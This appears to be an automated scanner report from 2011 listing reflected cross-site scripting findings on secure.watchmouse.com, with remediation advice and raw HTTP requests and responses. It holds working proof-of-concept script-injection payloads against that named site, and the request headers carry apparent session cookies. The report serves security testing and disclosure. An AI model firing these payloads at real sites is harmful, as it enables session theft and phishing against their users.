Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 12604"><script>alert(1)</script>c91f43e7654 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /assets12604"><script>alert(1)</script>c91f43e7654/css/print.css?20101008 HTTP/1.1 Host: secure.watchmouse.com Connection: keep-alive Referer: https://secure.watchmouse.com/en/?868a8'-alert(document.cookie)-'f02a060b98b=1 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772; nkey=WMA4D528314AD809
Response (redirected)
HTTP/1.1 404 Not Found Date: Wed, 09 Feb 2011 12:27:54 GMT Server: Apache/2.2.9 (Debian) X-Powered-By: PHP/5.2.6-1+lenny9 Expires: Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Last-Modified: ETag: "0-en-b709bccab9ea05d574af943e7a235c28" Content-Language: en P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Vary: Accept-Encoding Keep-Alive: timeout=6, max=1000 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Content-Length: 13208
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><tit ...[SNIP]... <form id="login_form" action="https://secure.watchmouse.com/en/assets12604"><script>alert(1)</script>c91f43e7654/css/print.css?20101008" method="post"> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7ec3a"><script>alert(1)</script>6198b6aec7f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /assets/css7ec3a"><script>alert(1)</script>6198b6aec7f/print.css?20101008 HTTP/1.1 Host: secure.watchmouse.com Connection: keep-alive Referer: https://secure.watchmouse.com/en/?868a8'-alert(document.cookie)-'f02a060b98b=1 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772; nkey=WMA4D528314AD809
Response (redirected)
HTTP/1.1 404 Not Found Date: Wed, 09 Feb 2011 12:27:57 GMT Server: Apache/2.2.9 (Debian) X-Powered-By: PHP/5.2.6-1+lenny9 Expires: Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Last-Modified: ETag: "0-en-48967952e7d0bf43ad1488d7fa04691b" Content-Language: en P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Vary: Accept-Encoding Keep-Alive: timeout=6, max=1000 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Content-Length: 13208
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><tit ...[SNIP]... <form id="login_form" action="https://secure.watchmouse.com/en/assets/css7ec3a"><script>alert(1)</script>6198b6aec7f/print.css?20101008" method="post"> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 46990"><script>alert(1)</script>c906927119 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /assets/css/print.css46990"><script>alert(1)</script>c906927119?20101008 HTTP/1.1 Host: secure.watchmouse.com Connection: keep-alive Referer: https://secure.watchmouse.com/en/?868a8'-alert(document.cookie)-'f02a060b98b=1 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772; nkey=WMA4D528314AD809
Response (redirected)
HTTP/1.1 404 Not Found Date: Wed, 09 Feb 2011 12:28:01 GMT Server: Apache/2.2.9 (Debian) X-Powered-By: PHP/5.2.6-1+lenny9 Expires: Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Last-Modified: ETag: "0-en-a39a891482e0b4031594c7cd351ff9e8" Content-Language: en P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Vary: Accept-Encoding Keep-Alive: timeout=6, max=1000 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Content-Length: 13199
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><tit ...[SNIP]... <form id="login_form" action="https://secure.watchmouse.com/en/assets/css/print.css46990"><script>alert(1)</script>c906927119?20101008" method="post"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b1899"><script>alert(1)</script>9292e8d4d19 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /assetsb1899"><script>alert(1)</script>9292e8d4d19/css/screen.css?20101008 HTTP/1.1 Host: secure.watchmouse.com Connection: keep-alive Referer: https://secure.watchmouse.com/en/?868a8'-alert(document.cookie)-'f02a060b98b=1 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772; nkey=WMA4D528314AD809
Response (redirected)
HTTP/1.1 404 Not Found Date: Wed, 09 Feb 2011 12:27:55 GMT Server: Apache/2.2.9 (Debian) X-Powered-By: PHP/5.2.6-1+lenny9 Expires: Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Last-Modified: ETag: "0-en-2e997f334511fdf2e36cb56837870283" Content-Language: en P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Vary: Accept-Encoding Keep-Alive: timeout=6, max=1000 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Content-Length: 13217
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><tit ...[SNIP]... <form id="login_form" action="https://secure.watchmouse.com/en/assetsb1899"><script>alert(1)</script>9292e8d4d19/css/screen.css?20101008" method="post"> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cd7a1"><script>alert(1)</script>4a32a0aeff2 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /assets/csscd7a1"><script>alert(1)</script>4a32a0aeff2/screen.css?20101008 HTTP/1.1 Host: secure.watchmouse.com Connection: keep-alive Referer: https://secure.watchmouse.com/en/?868a8'-alert(document.cookie)-'f02a060b98b=1 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772; nkey=WMA4D528314AD809
Response (redirected)
HTTP/1.1 404 Not Found Date: Wed, 09 Feb 2011 12:27:59 GMT Server: Apache/2.2.9 (Debian) X-Powered-By: PHP/5.2.6-1+lenny9 Expires: Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Last-Modified: ETag: "0-en-0d602ff0d025210c10d46373c9443206" Content-Language: en P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Vary: Accept-Encoding Keep-Alive: timeout=6, max=1000 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Content-Length: 13217
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><tit ...[SNIP]... <form id="login_form" action="https://secure.watchmouse.com/en/assets/csscd7a1"><script>alert(1)</script>4a32a0aeff2/screen.css?20101008" method="post"> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 76696"><script>alert(1)</script>d2c672cc1a3 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /assets/css/screen.css76696"><script>alert(1)</script>d2c672cc1a3?20101008 HTTP/1.1 Host: secure.watchmouse.com Connection: keep-alive Referer: https://secure.watchmouse.com/en/?868a8'-alert(document.cookie)-'f02a060b98b=1 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772; nkey=WMA4D528314AD809
Response (redirected)
HTTP/1.1 404 Not Found Date: Wed, 09 Feb 2011 12:28:03 GMT Server: Apache/2.2.9 (Debian) X-Powered-By: PHP/5.2.6-1+lenny9 Expires: Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Last-Modified: ETag: "0-en-a6a9db497ce534dfac03ee7f70f1160a" Content-Language: en P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Vary: Accept-Encoding Keep-Alive: timeout=6, max=1000 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Content-Length: 13217
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><tit ...[SNIP]... <form id="login_form" action="https://secure.watchmouse.com/en/assets/css/screen.css76696"><script>alert(1)</script>d2c672cc1a3?20101008" method="post"> ...[SNIP]...
The value of the 3d071%22%3E%3Cscript%3Ealert(document.cookie request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5b9c8"><script>alert(1)</script>21a00d42841 was submitted in the 3d071%22%3E%3Cscript%3Ealert(document.cookie parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /en/?3d071%22%3E%3Cscript%3Ealert(document.cookie5b9c8"><script>alert(1)</script>21a00d42841 HTTP/1.1 Host: secure.watchmouse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 09 Feb 2011 12:26:35 GMT Server: Apache/2.2.9 (Debian) X-Powered-By: PHP/5.2.6-1+lenny9 Cache-Control: private, no-cache, must-revalidate, max-age=3600 Pragma: no-cache ETag: "0-en-f3b63b44c114816c7e7ae76f4e8e81d8" Content-Language: en P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 18998
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><tit ...[SNIP]... <form id="login_form" action="https://secure.watchmouse.com/en/?3d071%22%3E%3Cscript%3Ealert(document.cookie5b9c8"><script>alert(1)</script>21a00d42841" method="post"> ...[SNIP]...
The value of the 3d071%22%3E%3Cscript%3Ealert(document.cookie request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6e69a'-alert(1)-'7d2c4d52679 was submitted in the 3d071%22%3E%3Cscript%3Ealert(document.cookie parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /en/?3d071%22%3E%3Cscript%3Ealert(document.cookie6e69a'-alert(1)-'7d2c4d52679 HTTP/1.1 Host: secure.watchmouse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 09 Feb 2011 12:26:37 GMT Server: Apache/2.2.9 (Debian) X-Powered-By: PHP/5.2.6-1+lenny9 Cache-Control: private, no-cache, must-revalidate, max-age=3600 Pragma: no-cache ETag: "0-en-edd0f2fcb3230f026d41ba9ee307cfa9" Content-Language: en P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 18918
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><tit ...[SNIP]... <![CDATA[ function checkReferrer(){ var vref_string = encodeURIComponent('173.193.214.243::0::::?3d071%22%3E%3Cscript%3Ealert(document.cookie6e69a'-alert(1)-'7d2c4d52679'); var serverRef = encodeURIComponent(''); if(document && document.referrer){ jsRef = encodeURIComponent(document.referrer); }else{ jsRef = ''; } requestParams = 'vjsRef='+jsRef ...[SNIP]...
The value of the 3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9c356"><script>alert(1)</script>f5dc871f42d was submitted in the 3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /en/?3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0=19c356"><script>alert(1)</script>f5dc871f42d HTTP/1.1 Host: secure.watchmouse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 09 Feb 2011 12:26:35 GMT Server: Apache/2.2.9 (Debian) X-Powered-By: PHP/5.2.6-1+lenny9 Cache-Control: private, no-cache, must-revalidate, max-age=3600 Pragma: no-cache ETag: "0-en-c86580fcde56eabcbff98332c59e3c5a" Content-Language: en P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 19241
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><tit ...[SNIP]... <form id="login_form" action="https://secure.watchmouse.com/en/?3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0=19c356"><script>alert(1)</script>f5dc871f42d" method="post"> ...[SNIP]...
The value of the 3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0 request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3538f'-alert(1)-'680cbdac783 was submitted in the 3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /en/?3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0=13538f'-alert(1)-'680cbdac783 HTTP/1.1 Host: secure.watchmouse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 09 Feb 2011 12:26:37 GMT Server: Apache/2.2.9 (Debian) X-Powered-By: PHP/5.2.6-1+lenny9 Cache-Control: private, no-cache, must-revalidate, max-age=3600 Pragma: no-cache ETag: "0-en-9269ea0feae78f4cbfcf18a3e0f821cd" Content-Language: en P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 19138
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><tit ...[SNIP]... <![CDATA[ function checkReferrer(){ var vref_string = encodeURIComponent('173.193.214.243::0::::script%3E03249d204b0=13538f'-alert(1)-'680cbdac783'); var serverRef = encodeURIComponent(''); if(document && document.referrer){ jsRef = encodeURIComponent(document.referrer); }else{ jsRef = ''; } requestParams = 'vjsRef='+jsRef ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c75ba'-alert(1)-'dcf0f1ccf69 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /enc75ba'-alert(1)-'dcf0f1ccf69/ HTTP/1.1 Host: secure.watchmouse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Wed, 09 Feb 2011 12:26:40 GMT Server: Apache/2.2.9 (Debian) X-Powered-By: PHP/5.2.6-1+lenny9 Cache-Control: private, no-cache, must-revalidate, max-age=3600 Pragma: no-cache ETag: "0-en-c74a2bac85ccc1281e2551f1e0496d92" Content-Language: en P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 13508
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><tit ...[SNIP]... <![CDATA[ function checkReferrer(){ var vref_string = encodeURIComponent('173.193.214.243::0::::enc75ba'-alert(1)-'dcf0f1ccf69'); var serverRef = encodeURIComponent(''); if(document && document.referrer){ jsRef = encodeURIComponent(document.referrer); }else{ jsRef = ''; } requestParams = 'vjsRef='+jsRef ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c75f1"><script>alert(1)</script>b3ba854ebba was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /enc75f1"><script>alert(1)</script>b3ba854ebba/ HTTP/1.1 Host: secure.watchmouse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Wed, 09 Feb 2011 12:26:38 GMT Server: Apache/2.2.9 (Debian) X-Powered-By: PHP/5.2.6-1+lenny9 Cache-Control: private, no-cache, must-revalidate, max-age=3600 Pragma: no-cache ETag: "0-en-a679bd02c702e1823560cdfc691d4b44" Content-Language: en P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 13631
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><tit ...[SNIP]... <form id="login_form" action="https://secure.watchmouse.com/en/enc75f1"><script>alert(1)</script>b3ba854ebba/" method="post"> ...[SNIP]...
1.13. https://secure.watchmouse.com/en/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://secure.watchmouse.com
Path:
/en/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 51d89"><script>alert(1)</script>fa2ab23bb4c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /en/?51d89"><script>alert(1)</script>fa2ab23bb4c=1 HTTP/1.1 Host: secure.watchmouse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 09 Feb 2011 12:26:29 GMT Server: Apache/2.2.9 (Debian) X-Powered-By: PHP/5.2.6-1+lenny9 Cache-Control: private, no-cache, must-revalidate, max-age=3600 Pragma: no-cache ETag: "0-en-c1185e45650eeb9903684867ded578b4" Content-Language: en P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 18622
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><tit ...[SNIP]... <form id="login_form" action="https://secure.watchmouse.com/en/?51d89"><script>alert(1)</script>fa2ab23bb4c=1" method="post"> ...[SNIP]...
1.14. https://secure.watchmouse.com/en/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://secure.watchmouse.com
Path:
/en/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 868a8'-alert(1)-'f02a060b98b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /en/?868a8'-alert(1)-'f02a060b98b=1 HTTP/1.1 Host: secure.watchmouse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
